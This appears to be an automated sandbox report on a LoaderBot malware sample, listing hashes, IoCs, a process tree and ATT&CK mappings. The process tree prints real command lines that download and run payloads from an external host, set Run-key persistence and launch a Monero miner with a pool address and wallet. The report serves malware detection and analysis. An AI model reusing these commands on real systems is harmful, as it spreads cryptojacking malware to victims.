loaderbot | 83ae57bdc0f817111ab909f54ec0f33b84f6504596d2a55adf39a16c5cf1afc0

Analysis

max time kernel
151s
max time network
137s
platform
windows10_x64
resource
win10-en-20211208
submitted
11/01/2022, 17:31

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General

Target

83ae57bdc0f817111ab909f54ec0f33b84f6504596d2a55adf39a16c5cf1afc0.exe
Size

349KB
MD5

5263f286e45a03c8309fc8bb49e0f19a
SHA1

a351cbd1c56f74115473c831442588653351231d
SHA256

83ae57bdc0f817111ab909f54ec0f33b84f6504596d2a55adf39a16c5cf1afc0
SHA512

e00f2adb5bdf172d73006a0d813fa4fdaf60f1900297a43393e9efc7c1187747e62babf6ff9ddafd019ecf306184b94fb1332313f00037f8dce447c41159c4f3

Score

10^/10

loaderbot loader miner persistence upx

Malware Config

Signatures

LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
loader miner loaderbot

LoaderBot executable 3 IoCs

resource	yara_rule
behavioral1/memory/2804-142-0x00000000002D0000-0x000000000072B000-memory.dmp	loaderbot
behavioral1/memory/2804-151-0x00000000002D0000-0x000000000072B000-memory.dmp	loaderbot
behavioral1/memory/2804-153-0x00000000002D0000-0x000000000072B000-memory.dmp	loaderbot

Blocklisted process makes network request 1 IoCs

flow	pid	Process
13	512	WScript.exe

Downloads MZ/PE file

Executes dropped EXE 9 IoCs

pid	Process
3956	extd.exe
3700	extd.exe
1836	setup_c.exe
1516	extd.exe
976	setup_m.exe
4064	extd.exe
2804	setup_s.exe
1116	extd.exe
1972	Driver.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000500000001ab60-118.dat	upx
behavioral1/files/0x000500000001ab60-119.dat	upx
behavioral1/files/0x000500000001ab60-123.dat	upx
behavioral1/files/0x000500000001ab60-129.dat	upx
behavioral1/files/0x000500000001ab60-134.dat	upx
behavioral1/files/0x000500000001ab60-145.dat	upx

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url	setup_s.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Windows\CurrentVersion\Run\Steam = "C:\\Users\\Admin\\AppData\\Roaming\\NVIDIA\\dllhost.exe"	setup_m.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\setup_s.exe"	setup_s.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
976	setup_m.exe
2804	setup_s.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000_Classes\Local Settings	cmd.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	13	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
976	setup_m.exe
976	setup_m.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe
2804	setup_s.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
620	Process not Found

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	976	setup_m.exe
Token: SeDebugPrivilege	2804	setup_s.exe
Token: SeLockMemoryPrivilege	1972	Driver.exe
Token: SeLockMemoryPrivilege	1972	Driver.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 2732 wrote to memory of 1440	2732	83ae57bdc0f817111ab909f54ec0f33b84f6504596d2a55adf39a16c5cf1afc0.exe	70
PID 2732 wrote to memory of 1440	2732	83ae57bdc0f817111ab909f54ec0f33b84f6504596d2a55adf39a16c5cf1afc0.exe	70
PID 1440 wrote to memory of 3956	1440	cmd.exe	71
PID 1440 wrote to memory of 3956	1440	cmd.exe	71
PID 1440 wrote to memory of 3956	1440	cmd.exe	71
PID 1440 wrote to memory of 512	1440	cmd.exe	72
PID 1440 wrote to memory of 512	1440	cmd.exe	72
PID 1440 wrote to memory of 3700	1440	cmd.exe	73
PID 1440 wrote to memory of 3700	1440	cmd.exe	73
PID 1440 wrote to memory of 3700	1440	cmd.exe	73
PID 1440 wrote to memory of 1836	1440	cmd.exe	74
PID 1440 wrote to memory of 1836	1440	cmd.exe	74
PID 1440 wrote to memory of 1836	1440	cmd.exe	74
PID 1440 wrote to memory of 1516	1440	cmd.exe	75
PID 1440 wrote to memory of 1516	1440	cmd.exe	75
PID 1440 wrote to memory of 1516	1440	cmd.exe	75
PID 1440 wrote to memory of 976	1440	cmd.exe	76
PID 1440 wrote to memory of 976	1440	cmd.exe	76
PID 1440 wrote to memory of 976	1440	cmd.exe	76
PID 1440 wrote to memory of 4064	1440	cmd.exe	77
PID 1440 wrote to memory of 4064	1440	cmd.exe	77
PID 1440 wrote to memory of 4064	1440	cmd.exe	77
PID 1440 wrote to memory of 2804	1440	cmd.exe	78
PID 1440 wrote to memory of 2804	1440	cmd.exe	78
PID 1440 wrote to memory of 2804	1440	cmd.exe	78
PID 1440 wrote to memory of 1116	1440	cmd.exe	79
PID 1440 wrote to memory of 1116	1440	cmd.exe	79
PID 1440 wrote to memory of 1116	1440	cmd.exe	79
PID 2804 wrote to memory of 1972	2804	setup_s.exe	80
PID 2804 wrote to memory of 1972	2804	setup_s.exe	80

C:\Users\Admin\AppData\Local\Temp\83ae57bdc0f817111ab909f54ec0f33b84f6504596d2a55adf39a16c5cf1afc0.exe
"C:\Users\Admin\AppData\Local\Temp\83ae57bdc0f817111ab909f54ec0f33b84f6504596d2a55adf39a16c5cf1afc0.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2732
- C:\Windows\System32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\AEBF.tmp\AEC0.tmp\AEC1.bat C:\Users\Admin\AppData\Local\Temp\83ae57bdc0f817111ab909f54ec0f33b84f6504596d2a55adf39a16c5cf1afc0.exe"
  2⤵
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1440
- - C:\Users\Admin\AppData\Local\Temp\AEBF.tmp\AEC0.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\AEBF.tmp\AEC0.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:3956
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\15865\123.vbs"
    3⤵
    - Blocklisted process makes network request
    PID:512
- - C:\Users\Admin\AppData\Local\Temp\AEBF.tmp\AEC0.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\AEBF.tmp\AEC0.tmp\extd.exe "/download" "http://a0620531.xsph.ru/htrrfwedsqw.exe" "setup_c.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:3700
- - C:\Users\Admin\AppData\Local\Temp\15865\setup_c.exe
    setup_c.exe
    3⤵
    - Executes dropped EXE
    PID:1836
- - C:\Users\Admin\AppData\Local\Temp\AEBF.tmp\AEC0.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\AEBF.tmp\AEC0.tmp\extd.exe "/download" "http://a0620531.xsph.ru/c_setup.exe" "setup_m.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:1516
- - C:\Users\Admin\AppData\Local\Temp\15865\setup_m.exe
    setup_m.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:976
- - C:\Users\Admin\AppData\Local\Temp\AEBF.tmp\AEC0.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\AEBF.tmp\AEC0.tmp\extd.exe "/download" "http://a0620531.xsph.ru/RMR.exe" "setup_s.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:4064
- - C:\Users\Admin\AppData\Local\Temp\15865\setup_s.exe
    setup_s.exe
    3⤵
    - Executes dropped EXE
    - Drops startup file
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2804
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1972
- - C:\Users\Admin\AppData\Local\Temp\AEBF.tmp\AEC0.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\AEBF.tmp\AEC0.tmp\extd.exe "" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:1116

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

memory/976-158-0x0000000074D40000-0x0000000076088000-memory.dmp

Filesize
19.3MB

Download
memory/976-161-0x0000000005B10000-0x000000000600E000-memory.dmp

Filesize
5.0MB

Download
memory/976-135-0x0000000000480000-0x0000000000481000-memory.dmp

Filesize
4KB

Download
memory/976-136-0x0000000000F00000-0x0000000000F62000-memory.dmp

Filesize
392KB

Download
memory/976-137-0x0000000076D70000-0x0000000076F32000-memory.dmp

Filesize
1.8MB

Download
memory/976-138-0x0000000000DA0000-0x0000000000DE5000-memory.dmp

Filesize
276KB

Download
memory/976-163-0x00000000056A0000-0x00000000056AA000-memory.dmp

Filesize
40KB

Download
memory/976-162-0x00000000056F0000-0x0000000005782000-memory.dmp

Filesize
584KB

Download
memory/976-160-0x0000000004F00000-0x0000000004F01000-memory.dmp

Filesize
4KB

Download
memory/976-157-0x0000000073C50000-0x00000000741D4000-memory.dmp

Filesize
5.5MB

Download
memory/976-154-0x0000000073910000-0x0000000073990000-memory.dmp

Filesize
512KB

Download
memory/976-150-0x0000000000F00000-0x0000000000F62000-memory.dmp

Filesize
392KB

Download
memory/976-152-0x0000000000F00000-0x0000000000F62000-memory.dmp

Filesize
392KB

Download
memory/976-148-0x0000000076200000-0x00000000762F1000-memory.dmp

Filesize
964KB

Download
memory/1972-171-0x00000000004D0000-0x00000000004F0000-memory.dmp

Filesize
128KB

Download
memory/1972-170-0x00000000001E0000-0x0000000000200000-memory.dmp

Filesize
128KB

Download
memory/1972-169-0x00000000001B0000-0x00000000001C4000-memory.dmp

Filesize
80KB

Download
memory/2804-155-0x0000000073910000-0x0000000073990000-memory.dmp

Filesize
512KB

Download
memory/2804-156-0x0000000073C50000-0x00000000741D4000-memory.dmp

Filesize
5.5MB

Download
memory/2804-159-0x0000000074D40000-0x0000000076088000-memory.dmp

Filesize
19.3MB

Download
memory/2804-142-0x00000000002D0000-0x000000000072B000-memory.dmp

Filesize
4.4MB

Download
memory/2804-149-0x0000000076200000-0x00000000762F1000-memory.dmp

Filesize
964KB

Download
memory/2804-147-0x00000000026F0000-0x0000000002735000-memory.dmp

Filesize
276KB

Download
memory/2804-143-0x0000000000D60000-0x0000000000D61000-memory.dmp

Filesize
4KB

Download
memory/2804-164-0x0000000005620000-0x0000000005686000-memory.dmp

Filesize
408KB

Download
memory/2804-165-0x0000000005410000-0x0000000005411000-memory.dmp

Filesize
4KB

Download
memory/2804-153-0x00000000002D0000-0x000000000072B000-memory.dmp

Filesize
4.4MB

Download
memory/2804-146-0x0000000076D70000-0x0000000076F32000-memory.dmp

Filesize
1.8MB

Download
memory/2804-151-0x00000000002D0000-0x000000000072B000-memory.dmp

Filesize
4.4MB

Download